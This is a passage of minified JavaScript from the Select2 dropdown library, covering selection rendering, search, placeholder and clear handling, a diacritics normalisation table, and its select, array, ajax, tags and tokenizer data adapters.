e=this.$selection.find(".select2-selection__rendered");e.empty(),e.removeAttr("title")},i.prototype.display=function(e,t){var n=this.options.get("templateSelection");return this.options.get("escapeMarkup")(n(e,t))},i.prototype.selectionContainer=function(){return e("<span></span>")},i.prototype.update=function(e){if(0!==e.length){var t=e[0],n=this.$selection.find(".select2-selection__rendered"),r=this.display(t,n);n.empty().append(r);var i=t.title||t.text;i?n.attr("title",i):n.removeAttr("title")}else this.clear()},i}),e.define("select2/selection/multiple",["jquery","./base","../utils"],function(i,e,l){function n(e,t){n.__super__.constructor.apply(this,arguments)}return l.Extend(n,e),n.prototype.render=function(){var e=n.__super__.render.call(this);return e.addClass("select2-selection--multiple"),e.html('<ul class="select2-selection__rendered"></ul>'),e},n.prototype.bind=function(e,t){var r=this;n.__super__.bind.apply(this,arguments),this.$selection.on("click",function(e){r.trigger("toggle",{originalEvent:e})}),this.$selection.on("click",".select2-selection__choice__remove",function(e){if(!r.isDisabled()){var t=i(this).parent(),n=l.GetData(t[0],"data");r.trigger("unselect",{originalEvent:e,data:n})}})},n.prototype.clear=function(){var e=this.$selection.find(".select2-selection__rendered");e.empty(),e.removeAttr("title")},n.prototype.display=function(e,t){var n=this.options.get("templateSelection");return this.options.get("escapeMarkup")(n(e,t))},n.prototype.selectionContainer=function(){return i('<li class="select2-selection__choice"><span class="select2-selection__choice__remove" role="presentation">×</span></li>')},n.prototype.update=function(e){if(this.clear(),0!==e.length){for(var t=[],n=0;n<e.length;n++){var r=e[n],i=this.selectionContainer(),o=this.display(r,i);i.append(o);var s=r.title||r.text;s&&i.attr("title",s),l.StoreData(i[0],"data",r),t.push(i)}var a=this.$selection.find(".select2-selection__rendered");l.appendMany(a,t)}},n}),e.define("select2/selection/placeholder",["../utils"],function(e){function t(e,t,n){this.placeholder=this.normalizePlaceholder(n.get("placeholder")),e.call(this,t,n)}return t.prototype.normalizePlaceholder=function(e,t){return"string"==typeof t&&(t={id:"",text:t}),t},t.prototype.createPlaceholder=function(e,t){var n=this.selectionContainer();return n.html(this.display(t)),n.addClass("select2-selection__placeholder").removeClass("select2-selection__choice"),n},t.prototype.update=function(e,t){var n=1==t.length&&t[0].id!=this.placeholder.id;if(1<t.length||n)return e.call(this,t);this.clear();var r=this.createPlaceholder(this.placeholder);this.$selection.find(".select2-selection__rendered").append(r)},t}),e.define("select2/selection/allowClear",["jquery","../keys","../utils"],function(i,r,a){function e(){}return e.prototype.bind=function(e,t,n){var r=this;e.call(this,t,n),null==this.placeholder&&this.options.get("debug")&&window.console&&console.error&&console.error("Select2: The `allowClear` option should be used in combination with the `placeholder` option."),this.$selection.on("mousedown",".select2-selection__clear",function(e){r._handleClear(e)}),t.on("keypress",function(e){r._handleKeyboardClear(e,t)})},e.prototype._handleClear=function(e,t){if(!this.isDisabled()){var n=this.$selection.find(".select2-selection__clear");if(0!==n.length){t.stopPropagation();var r=a.GetData(n[0],"data"),i=this.$element.val();this.$element.val(this.placeholder.id);var o={data:r};if(this.trigger("clear",o),o.prevented)this.$element.val(i);else{for(var s=0;s<r.length;s++)if(o={data:r[s]},this.trigger("unselect",o),o.prevented)return void this.$element.val(i);this.$element.trigger("input").trigger("change"),this.trigger("toggle",{})}}}},e.prototype._handleKeyboardClear=function(e,t,n){n.isOpen()||t.which!=r.DELETE&&t.which!=r.BACKSPACE||this._handleClear(t)},e.prototype.update=function(e,t){if(e.call(this,t),!(0<this.$selection.find(".select2-selection__placeholder").length||0===t.length)){var n=this.options.get("translations").get("removeAllItems"),r=i('<span class="select2-selection__clear" title="'+n()+'">×</span>');a.StoreData(r[0],"data",t),this.$selection.find(".select2-selection__rendered").prepend(r)}},e}),e.define("select2/selection/search",["jquery","../utils","../keys"],function(r,a,l){function e(e,t,n){e.call(this,t,n)}return e.prototype.render=function(e){var t=r('<li class="select2-search select2-search--inline"><input class="select2-search__field" type="search" tabindex="-1" autocomplete="off" autocorrect="off" autocapitalize="none" spellcheck="false" role="searchbox" aria-autocomplete="list" /></li>');this.$searchContainer=t,this.$search=t.find("input");var n=e.call(this);return this._transferTabIndex(),n},e.prototype.bind=function(e,t,n){var r=this,i=t.id+"-results";e.call(this,t,n),t.on("open",function(){r.$search.attr("aria-controls",i),r.$search.trigger("focus")}),t.on("close",function(){r.$search.val(""),r.$search.removeAttr("aria-controls"),r.$search.removeAttr("aria-activedescendant"),r.$search.trigger("focus")}),t.on("enable",function(){r.$search.prop("disabled",!1),r._transferTabIndex()}),t.on("disable",function(){r.$search.prop("disabled",!0)}),t.on("focus",function(e){r.$search.trigger("focus")}),t.on("results:focus",function(e){e.data._resultId?r.$search.attr("aria-activedescendant",e.data._resultId):r.$search.removeAttr("aria-activedescendant")}),this.$selection.on("focusin",".select2-search--inline",function(e){r.trigger("focus",e)}),this.$selection.on("focusout",".select2-search--inline",function(e){r._handleBlur(e)}),this.$selection.on("keydown",".select2-search--inline",function(e){if(e.stopPropagation(),r.trigger("keypress",e),r._keyUpPrevented=e.isDefaultPrevented(),e.which===l.BACKSPACE&&""===r.$search.val()){var t=r.$searchContainer.prev(".select2-selection__choice");if(0<t.length){var n=a.GetData(t[0],"data");r.searchRemoveChoice(n),e.preventDefault()}}}),this.$selection.on("click",".select2-search--inline",function(e){r.$search.val()&&e.stopPropagation()});var o=document.documentMode,s=o&&o<=11;this.$selection.on("input.searchcheck",".select2-search--inline",function(e){s?r.$selection.off("input.search input.searchcheck"):r.$selection.off("keyup.search")}),this.$selection.on("keyup.search input.search",".select2-search--inline",function(e){if(s&&"input"===e.type)r.$selection.off("input.search input.searchcheck");else{var t=e.which;t!=l.SHIFT&&t!=l.CTRL&&t!=l.ALT&&t!=l.TAB&&r.handleSearch(e)}})},e.prototype._transferTabIndex=function(e){this.$search.attr("tabindex",this.$selection.attr("tabindex")),this.$selection.attr("tabindex","-1")},e.prototype.createPlaceholder=function(e,t){this.$search.attr("placeholder",t.text)},e.prototype.update=function(e,t){var n=this.$search[0]==document.activeElement;this.$search.attr("placeholder",""),e.call(this,t),this.$selection.find(".select2-selection__rendered").append(this.$searchContainer),this.resizeSearch(),n&&this.$search.trigger("focus")},e.prototype.handleSearch=function(){if(this.resizeSearch(),!this._keyUpPrevented){var e=this.$search.val();this.trigger("query",{term:e})}this._keyUpPrevented=!1},e.prototype.searchRemoveChoice=function(e,t){this.trigger("unselect",{data:t}),this.$search.val(t.text),this.handleSearch()},e.prototype.resizeSearch=function(){this.$search.css("width","25px");var e="";""!==this.$search.attr("placeholder")?e=this.$selection.find(".select2-selection__rendered").width():e=.75*(this.$search.val().length+1)+"em";this.$search.css("width",e)},e}),e.define("select2/selection/eventRelay",["jquery"],function(s){function e(){}return e.prototype.bind=function(e,t,n){var r=this,i=["open","opening","close","closing","select","selecting","unselect","unselecting","clear","clearing"],o=["opening","closing","selecting","unselecting","clearing"];e.call(this,t,n),t.on("*",function(e,t){if(-1!==s.inArray(e,i)){t=t||{};var n=s.Event("select2:"+e,{params:t});r.$element.trigger(n),-1!==s.inArray(e,o)&&(t.prevented=n.isDefaultPrevented())}})},e}),e.define("select2/translation",["jquery","require"],function(t,n){function r(e){this.dict=e||{}}return r.prototype.all=function(){return this.dict},r.prototype.get=function(e){return this.dict[e]},r.prototype.extend=function(e){this.dict=t.extend({},e.all(),this.dict)},r._cache={},r.loadPath=function(e){if(!(e in r._cache)){var t=n(e);r._cache[e]=t}return new r(r._cache[e])},r}),e.define("select2/diacritics",[],function(){return{"Ⓐ":"A","A":"A","À":"A","Á":"A","Â":"A","Ầ":"A","Ấ":"A","Ẫ":"A","Ẩ":"A","Ã":"A","Ā":"A","Ă":"A","Ằ":"A","Ắ":"A","Ẵ":"A","Ẳ":"A","Ȧ":"A","Ǡ":"A","Ä":"A","Ǟ":"A","Ả":"A","Å":"A","Ǻ":"A","Ǎ":"A","Ȁ":"A","Ȃ":"A","Ạ":"A","Ậ":"A","Ặ":"A","Ḁ":"A","Ą":"A","Ⱥ":"A","Ɐ":"A","Ꜳ":"AA","Æ":"AE","Ǽ":"AE","Ǣ":"AE","Ꜵ":"AO","Ꜷ":"AU","Ꜹ":"AV","Ꜻ":"AV","Ꜽ":"AY","Ⓑ":"B","B":"B","Ḃ":"B","Ḅ":"B","Ḇ":"B","Ƀ":"B","Ƃ":"B","Ɓ":"B","Ⓒ":"C","C":"C","Ć":"C","Ĉ":"C","Ċ":"C","Č":"C","Ç":"C","Ḉ":"C","Ƈ":"C","Ȼ":"C","Ꜿ":"C","Ⓓ":"D","D":"D","Ḋ":"D","Ď":"D","Ḍ":"D","Ḑ":"D","Ḓ":"D","Ḏ":"D","Đ":"D","Ƌ":"D","Ɗ":"D","Ɖ":"D","Ꝺ":"D","DZ":"DZ","DŽ":"DZ","Dz":"Dz","Dž":"Dz","Ⓔ":"E","E":"E","È":"E","É":"E","Ê":"E","Ề":"E","Ế":"E","Ễ":"E","Ể":"E","Ẽ":"E","Ē":"E","Ḕ":"E","Ḗ":"E","Ĕ":"E","Ė":"E","Ë":"E","Ẻ":"E","Ě":"E","Ȅ":"E","Ȇ":"E","Ẹ":"E","Ệ":"E","Ȩ":"E","Ḝ":"E","Ę":"E","Ḙ":"E","Ḛ":"E","Ɛ":"E","Ǝ":"E","Ⓕ":"F","F":"F","Ḟ":"F","Ƒ":"F","Ꝼ":"F","Ⓖ":"G","G":"G","Ǵ":"G","Ĝ":"G","Ḡ":"G","Ğ":"G","Ġ":"G","Ǧ":"G","Ģ":"G","Ǥ":"G","Ɠ":"G","Ꞡ":"G","Ᵹ":"G","Ꝿ":"G","Ⓗ":"H","H":"H","Ĥ":"H","Ḣ":"H","Ḧ":"H","Ȟ":"H","Ḥ":"H","Ḩ":"H","Ḫ":"H","Ħ":"H","Ⱨ":"H","Ⱶ":"H","Ɥ":"H","Ⓘ":"I","I":"I","Ì":"I","Í":"I","Î":"I","Ĩ":"I","Ī":"I","Ĭ":"I","İ":"I","Ï":"I","Ḯ":"I","Ỉ":"I","Ǐ":"I","Ȉ":"I","Ȋ":"I","Ị":"I","Į":"I","Ḭ":"I","Ɨ":"I","Ⓙ":"J","J":"J","Ĵ":"J","Ɉ":"J","Ⓚ":"K","K":"K","Ḱ":"K","Ǩ":"K","Ḳ":"K","Ķ":"K","Ḵ":"K","Ƙ":"K","Ⱪ":"K","Ꝁ":"K","Ꝃ":"K","Ꝅ":"K","Ꞣ":"K","Ⓛ":"L","L":"L","Ŀ":"L","Ĺ":"L","Ľ":"L","Ḷ":"L","Ḹ":"L","Ļ":"L","Ḽ":"L","Ḻ":"L","Ł":"L","Ƚ":"L","Ɫ":"L","Ⱡ":"L","Ꝉ":"L","Ꝇ":"L","Ꞁ":"L","LJ":"LJ","Lj":"Lj","Ⓜ":"M","M":"M","Ḿ":"M","Ṁ":"M","Ṃ":"M","Ɱ":"M","Ɯ":"M","Ⓝ":"N","N":"N","Ǹ":"N","Ń":"N","Ñ":"N","Ṅ":"N","Ň":"N","Ṇ":"N","Ņ":"N","Ṋ":"N","Ṉ":"N","Ƞ":"N","Ɲ":"N","Ꞑ":"N","Ꞥ":"N","NJ":"NJ","Nj":"Nj","Ⓞ":"O","O":"O","Ò":"O","Ó":"O","Ô":"O","Ồ":"O","Ố":"O","Ỗ":"O","Ổ":"O","Õ":"O","Ṍ":"O","Ȭ":"O","Ṏ":"O","Ō":"O","Ṑ":"O","Ṓ":"O","Ŏ":"O","Ȯ":"O","Ȱ":"O","Ö":"O","Ȫ":"O","Ỏ":"O","Ő":"O","Ǒ":"O","Ȍ":"O","Ȏ":"O","Ơ":"O","Ờ":"O","Ớ":"O","Ỡ":"O","Ở":"O","Ợ":"O","Ọ":"O","Ộ":"O","Ǫ":"O","Ǭ":"O","Ø":"O","Ǿ":"O","Ɔ":"O","Ɵ":"O","Ꝋ":"O","Ꝍ":"O","Œ":"OE","Ƣ":"OI","Ꝏ":"OO","Ȣ":"OU","Ⓟ":"P","P":"P","Ṕ":"P","Ṗ":"P","Ƥ":"P","Ᵽ":"P","Ꝑ":"P","Ꝓ":"P","Ꝕ":"P","Ⓠ":"Q","Q":"Q","Ꝗ":"Q","Ꝙ":"Q","Ɋ":"Q","Ⓡ":"R","R":"R","Ŕ":"R","Ṙ":"R","Ř":"R","Ȑ":"R","Ȓ":"R","Ṛ":"R","Ṝ":"R","Ŗ":"R","Ṟ":"R","Ɍ":"R","Ɽ":"R","Ꝛ":"R","Ꞧ":"R","Ꞃ":"R","Ⓢ":"S","S":"S","ẞ":"S","Ś":"S","Ṥ":"S","Ŝ":"S","Ṡ":"S","Š":"S","Ṧ":"S","Ṣ":"S","Ṩ":"S","Ș":"S","Ş":"S","Ȿ":"S","Ꞩ":"S","Ꞅ":"S","Ⓣ":"T","T":"T","Ṫ":"T","Ť":"T","Ṭ":"T","Ț":"T","Ţ":"T","Ṱ":"T","Ṯ":"T","Ŧ":"T","Ƭ":"T","Ʈ":"T","Ⱦ":"T","Ꞇ":"T","Ꜩ":"TZ","Ⓤ":"U","U":"U","Ù":"U","Ú":"U","Û":"U","Ũ":"U","Ṹ":"U","Ū":"U","Ṻ":"U","Ŭ":"U","Ü":"U","Ǜ":"U","Ǘ":"U","Ǖ":"U","Ǚ":"U","Ủ":"U","Ů":"U","Ű":"U","Ǔ":"U","Ȕ":"U","Ȗ":"U","Ư":"U","Ừ":"U","Ứ":"U","Ữ":"U","Ử":"U","Ự":"U","Ụ":"U","Ṳ":"U","Ų":"U","Ṷ":"U","Ṵ":"U","Ʉ":"U","Ⓥ":"V","V":"V","Ṽ":"V","Ṿ":"V","Ʋ":"V","Ꝟ":"V","Ʌ":"V","Ꝡ":"VY","Ⓦ":"W","W":"W","Ẁ":"W","Ẃ":"W","Ŵ":"W","Ẇ":"W","Ẅ":"W","Ẉ":"W","Ⱳ":"W","Ⓧ":"X","X":"X","Ẋ":"X","Ẍ":"X","Ⓨ":"Y","Y":"Y","Ỳ":"Y","Ý":"Y","Ŷ":"Y","Ỹ":"Y","Ȳ":"Y","Ẏ":"Y","Ÿ":"Y","Ỷ":"Y","Ỵ":"Y","Ƴ":"Y","Ɏ":"Y","Ỿ":"Y","Ⓩ":"Z","Z":"Z","Ź":"Z","Ẑ":"Z","Ż":"Z","Ž":"Z","Ẓ":"Z","Ẕ":"Z","Ƶ":"Z","Ȥ":"Z","Ɀ":"Z","Ⱬ":"Z","Ꝣ":"Z","ⓐ":"a","a":"a","ẚ":"a","à":"a","á":"a","â":"a","ầ":"a","ấ":"a","ẫ":"a","ẩ":"a","ã":"a","ā":"a","ă":"a","ằ":"a","ắ":"a","ẵ":"a","ẳ":"a","ȧ":"a","ǡ":"a","ä":"a","ǟ":"a","ả":"a","å":"a","ǻ":"a","ǎ":"a","ȁ":"a","ȃ":"a","ạ":"a","ậ":"a","ặ":"a","ḁ":"a","ą":"a","ⱥ":"a","ɐ":"a","ꜳ":"aa","æ":"ae","ǽ":"ae","ǣ":"ae","ꜵ":"ao","ꜷ":"au","ꜹ":"av","ꜻ":"av","ꜽ":"ay","ⓑ":"b","b":"b","ḃ":"b","ḅ":"b","ḇ":"b","ƀ":"b","ƃ":"b","ɓ":"b","ⓒ":"c","c":"c","ć":"c","ĉ":"c","ċ":"c","č":"c","ç":"c","ḉ":"c","ƈ":"c","ȼ":"c","ꜿ":"c","ↄ":"c","ⓓ":"d","d":"d","ḋ":"d","ď":"d","ḍ":"d","ḑ":"d","ḓ":"d","ḏ":"d","đ":"d","ƌ":"d","ɖ":"d","ɗ":"d","ꝺ":"d","dz":"dz","dž":"dz","ⓔ":"e","e":"e","è":"e","é":"e","ê":"e","ề":"e","ế":"e","ễ":"e","ể":"e","ẽ":"e","ē":"e","ḕ":"e","ḗ":"e","ĕ":"e","ė":"e","ë":"e","ẻ":"e","ě":"e","ȅ":"e","ȇ":"e","ẹ":"e","ệ":"e","ȩ":"e","ḝ":"e","ę":"e","ḙ":"e","ḛ":"e","ɇ":"e","ɛ":"e","ǝ":"e","ⓕ":"f","f":"f","ḟ":"f","ƒ":"f","ꝼ":"f","ⓖ":"g","g":"g","ǵ":"g","ĝ":"g","ḡ":"g","ğ":"g","ġ":"g","ǧ":"g","ģ":"g","ǥ":"g","ɠ":"g","ꞡ":"g","ᵹ":"g","ꝿ":"g","ⓗ":"h","h":"h","ĥ":"h","ḣ":"h","ḧ":"h","ȟ":"h","ḥ":"h","ḩ":"h","ḫ":"h","ẖ":"h","ħ":"h","ⱨ":"h","ⱶ":"h","ɥ":"h","ƕ":"hv","ⓘ":"i","i":"i","ì":"i","í":"i","î":"i","ĩ":"i","ī":"i","ĭ":"i","ï":"i","ḯ":"i","ỉ":"i","ǐ":"i","ȉ":"i","ȋ":"i","ị":"i","į":"i","ḭ":"i","ɨ":"i","ı":"i","ⓙ":"j","j":"j","ĵ":"j","ǰ":"j","ɉ":"j","ⓚ":"k","k":"k","ḱ":"k","ǩ":"k","ḳ":"k","ķ":"k","ḵ":"k","ƙ":"k","ⱪ":"k","ꝁ":"k","ꝃ":"k","ꝅ":"k","ꞣ":"k","ⓛ":"l","l":"l","ŀ":"l","ĺ":"l","ľ":"l","ḷ":"l","ḹ":"l","ļ":"l","ḽ":"l","ḻ":"l","ſ":"l","ł":"l","ƚ":"l","ɫ":"l","ⱡ":"l","ꝉ":"l","ꞁ":"l","ꝇ":"l","lj":"lj","ⓜ":"m","m":"m","ḿ":"m","ṁ":"m","ṃ":"m","ɱ":"m","ɯ":"m","ⓝ":"n","n":"n","ǹ":"n","ń":"n","ñ":"n","ṅ":"n","ň":"n","ṇ":"n","ņ":"n","ṋ":"n","ṉ":"n","ƞ":"n","ɲ":"n","ʼn":"n","ꞑ":"n","ꞥ":"n","nj":"nj","ⓞ":"o","o":"o","ò":"o","ó":"o","ô":"o","ồ":"o","ố":"o","ỗ":"o","ổ":"o","õ":"o","ṍ":"o","ȭ":"o","ṏ":"o","ō":"o","ṑ":"o","ṓ":"o","ŏ":"o","ȯ":"o","ȱ":"o","ö":"o","ȫ":"o","ỏ":"o","ő":"o","ǒ":"o","ȍ":"o","ȏ":"o","ơ":"o","ờ":"o","ớ":"o","ỡ":"o","ở":"o","ợ":"o","ọ":"o","ộ":"o","ǫ":"o","ǭ":"o","ø":"o","ǿ":"o","ɔ":"o","ꝋ":"o","ꝍ":"o","ɵ":"o","œ":"oe","ƣ":"oi","ȣ":"ou","ꝏ":"oo","ⓟ":"p","p":"p","ṕ":"p","ṗ":"p","ƥ":"p","ᵽ":"p","ꝑ":"p","ꝓ":"p","ꝕ":"p","ⓠ":"q","q":"q","ɋ":"q","ꝗ":"q","ꝙ":"q","ⓡ":"r","r":"r","ŕ":"r","ṙ":"r","ř":"r","ȑ":"r","ȓ":"r","ṛ":"r","ṝ":"r","ŗ":"r","ṟ":"r","ɍ":"r","ɽ":"r","ꝛ":"r","ꞧ":"r","ꞃ":"r","ⓢ":"s","s":"s","ß":"s","ś":"s","ṥ":"s","ŝ":"s","ṡ":"s","š":"s","ṧ":"s","ṣ":"s","ṩ":"s","ș":"s","ş":"s","ȿ":"s","ꞩ":"s","ꞅ":"s","ẛ":"s","ⓣ":"t","t":"t","ṫ":"t","ẗ":"t","ť":"t","ṭ":"t","ț":"t","ţ":"t","ṱ":"t","ṯ":"t","ŧ":"t","ƭ":"t","ʈ":"t","ⱦ":"t","ꞇ":"t","ꜩ":"tz","ⓤ":"u","u":"u","ù":"u","ú":"u","û":"u","ũ":"u","ṹ":"u","ū":"u","ṻ":"u","ŭ":"u","ü":"u","ǜ":"u","ǘ":"u","ǖ":"u","ǚ":"u","ủ":"u","ů":"u","ű":"u","ǔ":"u","ȕ":"u","ȗ":"u","ư":"u","ừ":"u","ứ":"u","ữ":"u","ử":"u","ự":"u","ụ":"u","ṳ":"u","ų":"u","ṷ":"u","ṵ":"u","ʉ":"u","ⓥ":"v","v":"v","ṽ":"v","ṿ":"v","ʋ":"v","ꝟ":"v","ʌ":"v","ꝡ":"vy","ⓦ":"w","w":"w","ẁ":"w","ẃ":"w","ŵ":"w","ẇ":"w","ẅ":"w","ẘ":"w","ẉ":"w","ⱳ":"w","ⓧ":"x","x":"x","ẋ":"x","ẍ":"x","ⓨ":"y","y":"y","ỳ":"y","ý":"y","ŷ":"y","ỹ":"y","ȳ":"y","ẏ":"y","ÿ":"y","ỷ":"y","ẙ":"y","ỵ":"y","ƴ":"y","ɏ":"y","ỿ":"y","ⓩ":"z","z":"z","ź":"z","ẑ":"z","ż":"z","ž":"z","ẓ":"z","ẕ":"z","ƶ":"z","ȥ":"z","ɀ":"z","ⱬ":"z","ꝣ":"z","Ά":"Α","Έ":"Ε","Ή":"Η","Ί":"Ι","Ϊ":"Ι","Ό":"Ο","Ύ":"Υ","Ϋ":"Υ","Ώ":"Ω","ά":"α","έ":"ε","ή":"η","ί":"ι","ϊ":"ι","ΐ":"ι","ό":"ο","ύ":"υ","ϋ":"υ","ΰ":"υ","ώ":"ω","ς":"σ","’":"'"}}),e.define("select2/data/base",["../utils"],function(r){function n(e,t){n.__super__.constructor.call(this)}return r.Extend(n,r.Observable),n.prototype.current=function(e){throw new Error("The `current` method must be defined in child classes.")},n.prototype.query=function(e,t){throw new Error("The `query` method must be defined in child classes.")},n.prototype.bind=function(e,t){},n.prototype.destroy=function(){},n.prototype.generateResultId=function(e,t){var n=e.id+"-result-";return n+=r.generateChars(4),null!=t.id?n+="-"+t.id.toString():n+="-"+r.generateChars(4),n},n}),e.define("select2/data/select",["./base","../utils","jquery"],function(e,a,l){function n(e,t){this.$element=e,this.options=t,n.__super__.constructor.call(this)}return a.Extend(n,e),n.prototype.current=function(e){var n=[],r=this;this.$element.find(":selected").each(function(){var e=l(this),t=r.item(e);n.push(t)}),e(n)},n.prototype.select=function(i){var o=this;if(i.selected=!0,l(i.element).is("option"))return i.element.selected=!0,void this.$element.trigger("input").trigger("change");if(this.$element.prop("multiple"))this.current(function(e){var t=[];(i=[i]).push.apply(i,e);for(var n=0;n<i.length;n++){var r=i[n].id;-1===l.inArray(r,t)&&t.push(r)}o.$element.val(t),o.$element.trigger("input").trigger("change")});else{var e=i.id;this.$element.val(e),this.$element.trigger("input").trigger("change")}},n.prototype.unselect=function(i){var o=this;if(this.$element.prop("multiple")){if(i.selected=!1,l(i.element).is("option"))return i.element.selected=!1,void this.$element.trigger("input").trigger("change");this.current(function(e){for(var t=[],n=0;n<e.length;n++){var r=e[n].id;r!==i.id&&-1===l.inArray(r,t)&&t.push(r)}o.$element.val(t),o.$element.trigger("input").trigger("change")})}},n.prototype.bind=function(e,t){var n=this;(this.container=e).on("select",function(e){n.select(e.data)}),e.on("unselect",function(e){n.unselect(e.data)})},n.prototype.destroy=function(){this.$element.find("*").each(function(){a.RemoveData(this)})},n.prototype.query=function(r,e){var i=[],o=this;this.$element.children().each(function(){var e=l(this);if(e.is("option")||e.is("optgroup")){var t=o.item(e),n=o.matches(r,t);null!==n&&i.push(n)}}),e({results:i})},n.prototype.addOptions=function(e){a.appendMany(this.$element,e)},n.prototype.option=function(e){var t;e.children?(t=document.createElement("optgroup")).label=e.text:void 0!==(t=document.createElement("option")).textContent?t.textContent=e.text:t.innerText=e.text,void 0!==e.id&&(t.value=e.id),e.disabled&&(t.disabled=!0),e.selected&&(t.selected=!0),e.title&&(t.title=e.title);var n=l(t),r=this._normalizeItem(e);return r.element=t,a.StoreData(t,"data",r),n},n.prototype.item=function(e){var t={};if(null!=(t=a.GetData(e[0],"data")))return t;if(e.is("option"))t={id:e.val(),text:e.text(),disabled:e.prop("disabled"),selected:e.prop("selected"),title:e.prop("title")};else if(e.is("optgroup")){t={text:e.prop("label"),children:[],title:e.prop("title")};for(var n=e.children("option"),r=[],i=0;i<n.length;i++){var o=l(n[i]),s=this.item(o);r.push(s)}t.children=r}return(t=this._normalizeItem(t)).element=e[0],a.StoreData(e[0],"data",t),t},n.prototype._normalizeItem=function(e){e!==Object(e)&&(e={id:e,text:e});return null!=(e=l.extend({},{text:""},e)).id&&(e.id=e.id.toString()),null!=e.text&&(e.text=e.text.toString()),null==e._resultId&&e.id&&null!=this.container&&(e._resultId=this.generateResultId(this.container,e)),l.extend({},{selected:!1,disabled:!1},e)},n.prototype.matches=function(e,t){return this.options.get("matcher")(e,t)},n}),e.define("select2/data/array",["./select","../utils","jquery"],function(e,f,g){function r(e,t){this._dataToConvert=t.get("data")||[],r.__super__.constructor.call(this,e,t)}return f.Extend(r,e),r.prototype.bind=function(e,t){r.__super__.bind.call(this,e,t),this.addOptions(this.convertToOptions(this._dataToConvert))},r.prototype.select=function(n){var e=this.$element.find("option").filter(function(e,t){return t.value==n.id.toString()});0===e.length&&(e=this.option(n),this.addOptions(e)),r.__super__.select.call(this,n)},r.prototype.convertToOptions=function(e){var t=this,n=this.$element.find("option"),r=n.map(function(){return t.item(g(this)).id}).get(),i=[];function o(e){return function(){return g(this).val()==e.id}}for(var s=0;s<e.length;s++){var a=this._normalizeItem(e[s]);if(0<=g.inArray(a.id,r)){var l=n.filter(o(a)),c=this.item(l),u=g.extend(!0,{},a,c),d=this.option(u);l.replaceWith(d)}else{var p=this.option(a);if(a.children){var h=this.convertToOptions(a.children);f.appendMany(p,h)}i.push(p)}}return i},r}),e.define("select2/data/ajax",["./array","../utils","jquery"],function(e,t,o){function n(e,t){this.ajaxOptions=this._applyDefaults(t.get("ajax")),null!=this.ajaxOptions.processResults&&(this.processResults=this.ajaxOptions.processResults),n.__super__.constructor.call(this,e,t)}return t.Extend(n,e),n.prototype._applyDefaults=function(e){var t={data:function(e){return o.extend({},e,{q:e.term})},transport:function(e,t,n){var r=o.ajax(e);return r.then(t),r.fail(n),r}};return o.extend({},t,e,!0)},n.prototype.processResults=function(e){return e},n.prototype.query=function(n,r){var i=this;null!=this._request&&(o.isFunction(this._request.abort)&&this._request.abort(),this._request=null);var t=o.extend({type:"GET"},this.ajaxOptions);function e(){var e=t.transport(t,function(e){var t=i.processResults(e,n);i.options.get("debug")&&window.console&&console.error&&(t&&t.results&&o.isArray(t.results)||console.error("Select2: The AJAX results did not return an array in the `results` key of the response.")),r(t)},function(){"status"in e&&(0===e.status||"0"===e.status)||i.trigger("results:message",{message:"errorLoading"})});i._request=e}"function"==typeof t.url&&(t.url=t.url.call(this.$element,n)),"function"==typeof t.data&&(t.data=t.data.call(this.$element,n)),this.ajaxOptions.delay&&null!=n.term?(this._queryTimeout&&window.clearTimeout(this._queryTimeout),this._queryTimeout=window.setTimeout(e,this.ajaxOptions.delay)):e()},n}),e.define("select2/data/tags",["jquery"],function(u){function e(e,t,n){var r=n.get("tags"),i=n.get("createTag");void 0!==i&&(this.createTag=i);var o=n.get("insertTag");if(void 0!==o&&(this.insertTag=o),e.call(this,t,n),u.isArray(r))for(var s=0;s<r.length;s++){var a=r[s],l=this._normalizeItem(a),c=this.option(l);this.$element.append(c)}}return e.prototype.query=function(e,c,u){var d=this;this._removeOldTags(),null!=c.term&&null==c.page?e.call(this,c,function e(t,n){for(var r=t.results,i=0;i<r.length;i++){var o=r[i],s=null!=o.children&&!e({results:o.children},!0);if((o.text||"").toUpperCase()===(c.term||"").toUpperCase()||s)return!n&&(t.data=r,void u(t))}if(n)return!0;var a=d.createTag(c);if(null!=a){var l=d.option(a);l.attr("data-select2-tag",!0),d.addOptions([l]),d.insertTag(r,a)}t.results=r,u(t)}):e.call(this,c,u)},e.prototype.createTag=function(e,t){var n=u.trim(t.term);return""===n?null:{id:n,text:n}},e.prototype.insertTag=function(e,t,n){t.unshift(n)},e.prototype._removeOldTags=function(e){this.$element.find("option[data-select2-tag]").each(function(){this.selected||u(this).remove()})},e}),e.define("select2/data/tokenizer",["jquery"],function(d){function e(e,t,n){var r=n.get("tokenizer");void 0!==r&&(this.tokenizer=r),e.call(this,t,n)}return e.prototype.bind=function(e,t,n){e.call(this,t,n),this.$search=t.dropdown.$search||t.selection.$search||n.find(".select2-search__field")},e.prototype.query=function(e,t,n){var r=this;t.term=t.term||"";var i=this.tokenizer(t,this.options,function(e){var t=r._normalizeItem(e);if(!r.$element.find("option").filter(function(){return d(this).val()===t.id}).length){var n=r.option(t);n.attr("data-select2-tag",!0),r._removeOldTags(),r.addOptions([n])}!function(e){r.trigger("select",{data:e})}(t)});i.term!==t.term&&(this.$search.length&&(this.$search.val(i.term),this.$search.trigger("focus")),t.term=i.term),e.call(this,t,n)},e.prototype.tokenizer=function(e,t,n,r){for(var i=n.get("tokenSeparators")||[],o=t.term,s=0,a=this.createTag||function(e){return{id:e.term,text:e.term}};s<o.length;){var l=o[s];if(-1!==d.inArray(l,i)){var c=o.substr(0,s),u=a(d.extend({},t,{term:c}));null!=u?(r(u),o=o.substr(s+1)||"",s=0):s++}else s++}return{term:o}},e}),e.define("select2/data/minimumInputLength",[],function(){function e(e,t,n){this.minimumInputLength=n.get("minimumInputLength"),e.call(this,t,n)}return e.prototype.query=function(e,t,n){t.term=t.term||"",t.term.length<this.minimumInputLength?this.trigger("results:message",{message:"inputTooShort",args:{minimum:this.minimumInputLength,input:t.term,params:t}}):e.call(this,t,n)},e}),e.define("select2/data/maximumInputLength",[],function(){function e(e,t,n){this.maximumInputLength=n.get("maximumInputLength"),e.call(this,t,n)}return e.prototype.query=function(e,t,n){t.term=t.term||"",0<this.maximumInputLength&&t.term.length>this.maximumInputLength?this.trigger("results:message",{message:"inputTooLong",args:{maximum:this.maximumInputLength,input:t.term,params:t}}):e.call(this,t,n)},e}),e.define("select2/data/maximumSelectionLength",[],function(){function e(e,t,n){this.maximumSelectionLength=n.get("maximumSelectionLength"),e.call(this,t,n)}return e.prototype.bind=function(e,t,n){var r=this;e.call(this,t,n),t.on("select",function(){r._checkIfMaximumSelected()})},e.prototype.query=function(e,t,n){var 